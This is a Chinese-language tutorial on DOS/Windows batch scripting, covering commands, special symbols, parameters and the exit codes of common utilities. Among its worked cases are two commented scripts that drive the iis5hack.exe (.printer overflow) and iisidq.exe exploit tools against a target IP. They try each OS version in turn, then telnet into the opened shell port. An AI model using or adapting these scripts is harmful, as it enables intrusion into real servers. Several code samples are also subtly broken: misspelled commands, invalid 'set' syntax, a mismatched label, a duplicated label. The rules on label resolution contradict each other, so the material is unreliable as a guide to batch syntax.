一、 批处理命令
1、REM 注释
2、ECHO 回显命令 参数有OFF和ON 常用ECHO message来显示一个特定的消息
Eg:Echo off
Echo 消息 à执行结果就是:消息
3、GOTO 跳转 跳转到指定的LABEL (:XXX)
Eg: :LABEL
DIR C:\
DIR D:\
GOTO LABEL à跳转到执行:LABEL
4、CALL 在批处理执行过程中调用另外一个批处理文件,当另外一个批处理文件执行完后再继续执行原来的批处理
5、PAUSE 停止系统命令的执行并显示下面的内容
6、IF 条件判断语句
二、 特殊符号
1、@ 在批处理中表示关闭当前行的回显
2、> 传递并覆盖,将运行后的回显结果传递到后面的范围
3、>> 等同于符号>的作用,区别在于,>>是传递闭并在文件末尾追加>>,也可将回显传递给控制台
4、| 管道传输命令,是将上一个命令执行的结果传递给下一个命令去处理(类似于java中的操作符||表示并且的意思)
5、^ 对特殊符号>,<,&的前导字符。在命令中将以上的三个符号的特殊功能去掉,只作为普通的符号
6、& 允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行
7、&& 允许在一行中使用2个以上不同的命令,当第一个命令执行失败后,后续的命令将不会再被执行
8、” ” 允许在字符串中包含空格。
9、, 相当于空格,在一些特殊的情况下可以用来代替空格使用
10、; 当命令相同的时候可以将不同的目标用该符号隔离开来但执行效果不变
11、% 参数表示符
三、 批量处理与变量,特殊命令
(1) 批处理参数
批处理文件像C语言的函数一样使用参数,但需要用到一个参数表示符”%”。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的空格(或者tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其他参数字符串用%1到%9顺序表示。
(2) 变量
参数在批处理中也作为变量处理,所以同样适用百分号作为引导符,其后跟0-9中的一个数字构成参数引用符.引用符和参数之间的关系类似于变量指针与变量值的关系。当需要引用第十一个或更多个参数时,就必须移动dos的参数起始指针,shift命令正充当了这个移动指针的角色,它将参数的起始指针移动到下一个参数,类似于C语言中的指针操作。
(3) 特殊命令
If,goto,choice,for是批处理文件中比较高级的命令
<1>、if是条件语句 用来判断是否符合规定的条件,从而决定执行不同的命令。三种格式
1、if [not] “参数” == “字符串” 待执行的命令
参数如果等于(not表示不等)指定的字符串,则条件成立,运行命令,否则运行下一句
注意:
1、 包含字符串的双引号不是语法所必须的,而只是习惯上使用的一种”防空”字符
2、 String1 未必是参数,它可以是环境变量,循环变量以及其他字符串常量或变量
3、 待执行的命令command 不是语法所必须的,string2后跟一个空格就可以构成一个有效的命令行
2、if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句
Eg:if exist c:\comfig.sys type c:\config.sys 表示:如果存在c:\config.sys文件则显示文件内容
可以通过命令 mem/d | find “device” /i 来检阅你的系统中所加载的设备
3、 if errorlevel <数字> 待执行的命令
判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列),如果返回值等于指定的数字,则条件成功,运行命令,否则运行下一句
<2> goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组
说明:
Goto于:联用可实现执行中途的跳转,再结合if可实现执行过程的条件分支,多个if即可实现命令的分组,类似c的switch case 结构或者basic中的select case结构,大规模且结构化的命令分组即可实现高级语言中的函数功能。
Eg:批处理和c/basic在语法结构上的对照:
Bath c/basic
Goto &: goto&:
Goto&:&if if {} &else{} / if &elseif&endif
Goto&:&if… switch&case / select case
Goto&:&if&set&envar… function() /function(),sub()
<3>choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
注意:choice命令为dos或者window提供的外部命令,不同版本的用法不同,用choice /?查看用法
语法:choice [/c choices] [/N] [/CS] [/T timeout /D choice] [/M text]
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C choices 指定要创建的选项列表。默认列表是“YN”
/N 在提示符中隐藏选项列表。提示前面的消息得到现实,选项依旧处于启用状态。
/CS 允许选择分大小写的选项。默认这个工具是不区分大小写的。
/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从0到999.如果指定了0,就不会有暂停,默认选项会得到选择。
/D choice 在nnnn秒之后指定默认选项。字符必须在用/c选项指定的一组选择中。同时,必须用/T指定nnnn
/M text指定提示之前要显示的消息。如果没有指定,工具只显示提示。
/? 显示帮助消息
注意:errorlevel 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回1,第二个选择返回2等等。如果用户按的键不是有效的选择,该工具会发出警告相声。如果该工具检测到错误的状态,它会返回255的errorlevel值,如果用户按ctrl+break 或ctrl+c键,该工具会返回0的errorlevel值,在一个批程序中使用errorlevel参数时,将参数降序排列。
Eg:
Choice /?
Choice /C YNC /M “确认请按Y,否请按N,取消按C”
Choice /T 10 /C ync ?CS /D y
Choice /C ab /M “选项1 请选择a,选项2请选择b”
Choice /C ab /N /M “选项1请选择a,选项2请选择b”
<4> for 循环命令,只要条件符合,它将多次执行同一命令
语法:对一组文件中的每一个文件执行某个特定命令
For %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数
(set)指定一个或者一组文件。可使用通配符
Command 指定对每个文件执行的命令。Command-parameters为特定指定参数或命令行开关
Eg. For %%c in (*.bat *.txt) do type %%c
该命令含义是:显示当前目录下所有以bat和txt为扩展名的文件内容
四、 案例
(1) 利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理
用到的程序:iis5hack.exe和系统自带的telnet.exe。
Iis5hack的命令格式为:
Iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>
目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本。编制的批处理使用的命令格式为<iis.bat 目标ip (开始版本号)> 开始版本号可有可无。
@echo off /*关闭命令回显
If “%1%” == “” goto help /*判断%1是否为空,%1为目标ip
If “%2%” == “1” goto 1 /*判断%2是否为1,为1跳转标志1
If “%2%” == “2” goto 2 /*%2为开始版本号,如果没有设置则跳转标志2
If “%2%” == “3” goto 3 /*如果存在则从匹配的地方开始执行
If “%2%” == “4” goto 4
If “%2%” == “5” goto 5
If “%2%” == “6” goto 6
If “%2%” == “7” goto 7
If “%2%” == “8” goto 8
If not exist iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容
Ping %1 –n 1 | find “Received = 1” /*ping目标1次,从结果中发现
Received = 1
If errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行)
Iis5hack %1 80 9 88 | find “good” /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串 “good”(溢出成功后才会有字符串good)
If not errorlevel 1 goto telnet /*如果没有错误代码1(溢出成功)就执行telnet段的内容
Echo 操作系统类型 9 失败! /*否则显示这一句
:8
Iis5hack %1 80 8 88 | find “good”
If not errorlevel 1 goto telnet
Echo 操作系统类型8 失败!
:7
Iis5hack %1 80 7 88 | find “good”
If not errorlevel 1 goto telnet
Echo 操作系统类型7 失败!
。
。
。
:8
Iis5hack %1 80 0 88 | find “good”
If not errorlevel 1 goto telnet
Echo 操作系统类型0 失败!
Goto error
:telnet
telnet %1 88 /*开始连接目标ip的88端口
goto exit /*连接中断后跳转exit段
:error /*error段显示错误后的帮助信息
Echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!
Echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]
Echo 中文:0
Echo 中文+sp1:1
Echo 英文:2
Echo 英文+sp1:3
Echo 日语:4
Echo 日语+sp1:5
Echo 韩文:6
Echo 韩语+sp1:7
Echo 墨西哥语:8
Echo 墨西哥语+sp1:9
Goto exit /*跳转exit段
:file /*file段显示文件没有发现的信息
Echo 文件iis5hack.exe没有发现!程序终止运行!
Goto exit /*跳转exit段
:help /*help段显示本批处理的使用格式帮助
Echo 本程序用法如下:
Echo iis [目标ip]
Echo iis[目标ip] [开始的号码9-0]
:exit /*exit段为程序出口
(2) @echo off
If not exist iisidq.exe goto file
If %1 == “” goto error
Pint %1 –n 1 | find “reseived = 1”
If errorlevel 1 goto error1
Set b = %1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b,变量b的内容编程了目标ip
Set a = 0 /*创建一个环境变量a并制定环境变量a为0. 用a来做计数器
:no
If %a% == 0 set d = 0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0
If %a% == 1 set d = 1 /*环境变量d是操作系统类型代码,用计数器来控制其变动
If %a% == 2 set d = 2
If %a% == 3 set d = 3
If %a% == 4 set d = 4
If %a% == 5 set d = 5
If %a% == 6 set d = 6
If %a% == 7 set d = 7
If %a% == 9 set d = 9
If %a% == 13 set d = 13
If %a% == 14 set d = 14
Goto 0 /*变量传递完成后转到标志0处运行
:1
Echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接,请等候。。。
:0
Iisidq %d% %b% 80 1 99 | find “good”
If errorlevel 1 goto 1
Ping 127.0.0.1 –n 8 > null /*ping 自己8次相当于延时8秒不显示执行结果
Echo 正在执行第”d”项!
telnet “b” 99
echo. /*显示一个空行
if %d% == 14 goto error1
if %d% == 13 set a = 11 /*开始用计数器对操作系统代码重新赋值
if %d% == 9 set a = 10
if %d% == 7 set a = 9
if %d% == 6 set a = 7
if %d% == 5 set a = 6
if %d% == 4 set a = 5
if %d% == 3 set a = 4
if %d% == 2 set a = 3
if %d% == 1 set a = 3
if %d% == 0 set a = 1
goto no
:file
Echo iisidq.exe 没有发现!将该文件和文本文件放在同一目录!
Goto exit
:error
Echo 错误!目标ip不可识别!请使用下面的格式连接!
Echo idq [目标ip]
Goto exit
:errorl
Echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所致!
Echo 请按照下面的格式手工尝试
Echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]
Echo telnet [目标ip] [溢出端口]
:exit
(3) 简单案例
@echo off
Dir c:\*.* > a.txt /*将c盘文件列表写入a.txt
Call c:\ucdos\ucdos.dat /*调用undoc
Echo test
Pause /*暂停,等待按键继续
Rem 准备运行wps /*运行wps
Wps
(4) 参数案例
@echo off
Type %1
Type %2
运行 c:\>t a.txt b.txt
%1 表示 a.txt
%2 表示 b.txt
结果是:按顺序显示a.txt和b.txt文件的内容
(5) 比较案例
If errorlevel 1 set el = 1
If errorlevel 2 set el = 2
If errorlevel 3 set el = 3
If errorlevel 4 set el = 4
If serorlevel 5 set el = 5
…
等同于
For %%e in (1,2,3,4,5,…) do if errorlevel %%e set el = %%e
(6) 综合案例
1、@echo off
Xcopy c:\autoexec.bat d:\
If errorlevel 1 echo 文件拷贝失败
If errorlevel 0 echo 文件拷贝成功
说明:if errorlevel 是用来测试它的上一个dos命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小顺序判断,一次下面的批处理是错误的:
@echo off
Xcopy c:\autoexec.bat d:\
If errorlevel 0 echo 成功拷贝文件
If errorlevel 1 echo 未找到拷贝文件
If errorlevel 2 echo 用户通过ctrl-c终止拷贝操作
If errorlevel 3 echo 预置错误阻止文件拷贝操作
If errorlevel 4 echo 拷贝过程中写盘错误
上面案例,不管文件是否拷贝成功,后面的:
未找到拷贝文件
用户通过ctrl-c终止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程下盘错误 这些都将显示出来。
(7) for案例
@echo off
For %%C in (*.bat *.txt *.sys) do type %%c
执行以后,屏幕上将显示c盘根目录下所以以bat,txt,sys为扩展名的文件弄内容,不包含隐藏的文件。
(8)
五、常用命令的返回值及其代表意义
1、back
0 备份成功 1 未找到备份文件 2 文件共享冲突阻止备份完成 3 用户用ctrl-c终止备份 4 由于致命的错误使备份操作中止
2、diskcomp
0 盘比较相同 1 盘比较不同 2 用户通过ctrl-c中止比较操作 3 由于致命的错误使比较操作中止 4 预置错误中止比较(初始化错误)
3、diskcopy
0 盘拷贝操作成功 1 非致命盘读/写错 2 用户通过ctrl-c结束拷贝操作 3 因致命的处理错误使盘拷贝中止 4 预置错误阻止拷贝操作
4、format
0 格式化成功 3 用户通过ctrl-c 中止格式化处理 4 因致命的处理错误使格式化中止 5 在提示”proceed wit format (y/n) ?”下用户键入n结束
5、xcopy
0 成功拷贝文件 1 未找到拷贝文件 2 用户通过ctrl-c中止拷贝操作 4 预置错误阻止文件拷贝操作 5 拷贝过程中写盘错误
6、chkdsk
0 未找到错误 255 找到一个或多个错误
7、choice
0 用户按下ctrl-c/break 1 用户按下第一个键 255 检测到命令行中的错误条件 其他 用户按下的有效字符在列表中的位置
8、defrag
0 碎片压缩成功 1 出现内部错误 2 磁盘上没有空簇,要运行defrag,至少要一个空簇 3 用户用ctrl+c退出defrag 4 出现一般性错误 5 defrag在读簇时遇到错误 6 defrag在写簇时遇到错误 7 分配空间有错 8 内存错 9 没有足够空间来压缩磁盘碎片
9、deltree
0 成功删除一个目录
10、find
0 查找成功且至少找到一个匹配的字符串 1 查找成功但没找到匹配的字符串 2 查找中出现了错误
11、keyb
0 键盘定义文件装入成功 1 使用了非法的键盘代码,字符集或语法 2键盘定义文件坏或未找到 4 键盘、监视器通讯时出错 5 要求的字符集未准备好
12、move
0 成功移动了指定文件 1 发生了错误
13、msav /N
86 检查到了病毒
14、replace
0 成功替换或加入了文件 1 ms_dos版本和replace不兼容 2 找不到源文件 3 找不到源路径或目标路径 5 不能存取要替换的文件 8 内存不够无法执行replace 11 命令行句法错误
15、restore
0 成功恢复文件 1 找不到要恢复的文件 3 用户按ctrl + c终止恢复过程 4 因错误而终止
16、scandisk
0 在检查的驱动器上未检测到任何错误 1 由于命令行的语法不对,不能运行scandisk 2 由于内存用尽或发生内部错误,scandisk意外终止 3 用户让scandisk中途退出 4 进行盘面扫描时,用户决定提前退出 254 找到磁盘故障并已全部校正 255 找到磁盘故障,但未能全部校正
17、setver
0 成功完成任务 1 用户指定了一个无效的命令开关 2 用户指定了一个非法的文件名 3 没有足够的系统内训来运行命令 4 用户指定了一个非法的版本号格式 5 在版本表中未找到指定的项 6未找到setver.exe文件 7 用户指定了一个非法的驱动器 8 用户指定了太多的命令行参数 9 检测到丢失了命令行参数 10 在读setver.exe文件时,setver检测到发生错误 11 setver.ext文件损坏 12 指定的setver.exe文件不支持版本表 13 版本表中没有足够的空间存放新的项 14 在写setver.exe文件时setver检测到发生错误
六、其他注意事项
标号又称标签。
1、标号前是ASCII字符的冒号”:”,冒号与标号之间不能有空格
2、标号的命名规则与文件名的命名规则相同
3、DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号
4、标号不能以大多数的非字母数字字符开始,而文件名中可以使用很多
5、无法区别两个标号时,将跳转至位置最靠前的标号
联系客服